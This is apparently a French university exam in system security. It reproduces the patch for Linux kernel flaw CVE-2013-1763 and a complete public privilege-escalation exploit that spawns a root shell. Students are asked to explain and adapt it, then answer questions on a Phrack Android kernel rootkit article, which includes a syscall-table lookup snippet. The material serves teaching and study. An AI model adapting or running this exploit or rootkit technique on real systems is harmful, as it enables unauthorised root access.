Sécurité Système

– Examen (**1**) –

1 Analyse d'un exploit noyau (CVE-2013-1763) (5 points)

La faille CVE-2013-1763 a été corrigée en février 2013 par le patch suivant :

```
sock_diag: Fix out-of-bounds access to sock_diag_handlers[]

Userland can send a netlink message requesting SOCK_DIAG_BY_FAMILY
with a family greater or equal then AF_MAX -- the array size of
sock_diag_handlers[]. The current code does not test for this
condition therefore is vulnerable to an out-of-bound access opening
doors for a privilege escalation.

Signed-off-by: Mathias Krause <minipli@googlemail.com>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Diffstat
-rw-r--r--        net/core/sock_diag.c        3
1 files changed, 3 insertions, 0 deletions
diff --git a/net/core/sock_diag.c b/net/core/sock_diag.c
index 602cd637182e..750f44f3aa31 100644
--- a/net/core/sock_diag.c
+++ b/net/core/sock_diag.c
@@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
         if (nlmsg_len(nlh) < sizeof(*req))
                 return -EINVAL;

+        if (req->sdiag_family >= AF_MAX)
+                return -EINVAL;
+
         hndl = sock_diag_lock_handler(req->sdiag_family);
         if (hndl == NULL)
                 err = -ENOENT;
```

On pouvait néanmoins trouver quelques exploits qui utilisaient cette faille sur les bases d'exploits classiques, dont celui-ci (trouvé sur `exploit-db`) :

```
1  // ... cutted out unrelated #includes ...
2  #include <sys/socket.h>
3  #include <linux/netlink.h>
4  #include <linux/sock_diag.h>
5  #include <sys/mman.h>
6
7  typedef int __attribute__ ((regparm(3))) (*_commit_creds)(unsigned long cred);
8  _commit_creds commit_creds;
9  typedef unsigned long __attribute__ ((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
10 _prepare_kernel_cred prepare_kernel_cred;
11
12 int __attribute__ ((regparm (3))) x() {
13   commit_creds (prepare_kernel_cred (0));
14   return -1;
15 }
16
17 unsigned long sock_diag_handlers, nl_table;
18 char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
```

```
19
20  int main()
21  {
22    int fd;
23    char buf[8192];
24    unsigned long mmap_start, mmap_size = 0x10000;
25    unsigned family;
26    struct {
27      struct nlmsghdr nlh;
28      struct unix_diag_req r;
29    } req;
30
31    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0) {
32        printf("Can't create sock diag socket\n");
33        return -1;
34      }
35
36    memset(&req, 0, sizeof(req));
37    req.nlh.nlmsg_len = sizeof(req);
38    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
39    req.nlh.nlmsg_flags = NLM_F_ROOT | NLM_F_MATCH | NLM_F_REQUEST;
40    req.nlh.nlmsg_seq = 123456;
41
42    req.r.udiag_states = -1;
43    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
44
45    /* Ubuntu 12.10 x86_64 */
46    req.r.sdiag_family = 0x37;
47    commit_creds = (_commit_creds) 0xffffffff8107d180;
48    prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
49    mmap_start = 0x1a000;
50
51    if (mmap((void *) mmap_start, mmap_size, PROT_READ | PROT_WRITE | PROT_EXEC,
52             MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
53        printf("mmap fault\n");
54        exit(1);
55      }
56
57    *(unsigned long *) &stage1[sizeof(stage1) - sizeof(&x)] = (unsigned long) x;
58    memset((void *) mmap_start, 0x90, mmap_size);
59    memcpy((void *) mmap_start + mmap_size - sizeof(stage1), stage1, sizeof(stage1));
60
61    send(fd, &req, sizeof(req), 0);
62    if (!getuid())
63      system("/bin/sh");
64
65    return 0;
66  }
```

Questions

1. En lisant le code de l'exploit, expliquez à quoi sert la fonction `x()` et les différents éléments que l'on retrouve lignes 7 à 10.
2. Expliquez les différentes étapes de l'exploit et ce que vous comprenez du bug à partir du code que vous pouvez lire (patch correctif et exploit).
3. Si vous deviez utiliser cet exploit sur un noyau ayant la vulnérabilité. Quelles informations devriez-vous récupérer sur le système en question et quelles modifications devriez-vous forcément apporter à ce code pour l'adapter au système cible ?
4. (Optionnel) À votre avis, quel type de protections pourrait déjouer l'exploit présenté.

2 Android Platform Based Linux Kernel Rootkit (15 points)

Lisez l'article "*Android Platform Based Linux Kernel Rootkit*" par Dong-Hoon You (Phrack #68 2012). Puis rédigez des réponses aux questions suivantes.

Questions

1. Rappelez rapidement les buts et les principales fonctionnalités d'un rootkit (au moins les plus couramment observées). Et détaillez les différences entre un rootkit logiciel et un rootkit noyau.
2. Dans la section 2.1.1, il est donné une technique qui permet de localiser l'adresse de la table des appels systèmes. Ré-expliquez ce que vous avez compris de cette technique étape par étape.
3. Dans la section 2.1.2, une autre technique de recherche de l'adresse de la table des appels système est donnée. Expliquez la brièvement et dites pourquoi elle n'est plus possible actuellement (depuis les noyaux $> 4.17.0$).
4. Toujours dans la section 2.1.2, on trouve ce petit morceau de code :

```
while (vector_swi_addr++){
  if (*(unsigned long *)vector_swi_addr == &sys_close){
    sys_call_table = (void *) vector_swi_addr - (6 * 4);
    break;
   }
}
```

   Expliquez ce que vous comprenez du "`(6 * 4)`" ?
5. Dans la section 2.3, on cherche à obtenir les tailles de différentes structures du noyau. Énumérez les structures en question et expliquez pourquoi cette opération est nécessaire pour la suite (comment ces informations seront elles utilisées ensuite).
6. Expliquez les différentes étapes décrites dans la section 3 qui consistent à installer les hooks sur la table des appels systèmes.
7. Expliquez la technique décrite dans la section 4 (hooking sur le gestionnaire d'interruption).
8. Expliquez les trois techniques de hooking qui sont décrites à la section 5.
9. Comparez les différentes techniques de hooking de la section 4 et 5 et donnez les avantages/inconvénients pour chacune d'elle.
10. Donnez des techniques possibles permettant de détecter et/ou de contrer l'installation ou la présence de tels rootkits sur un système.
11. (Optionnel) Quelles techniques décrites dans l'article reposent fortement sur le fait que l'on suppose que l'on est sur une architecture ARM 32-bit ? Ces techniques pourraient elles être adaptées vers d'autres architectures avec quelques modifications ?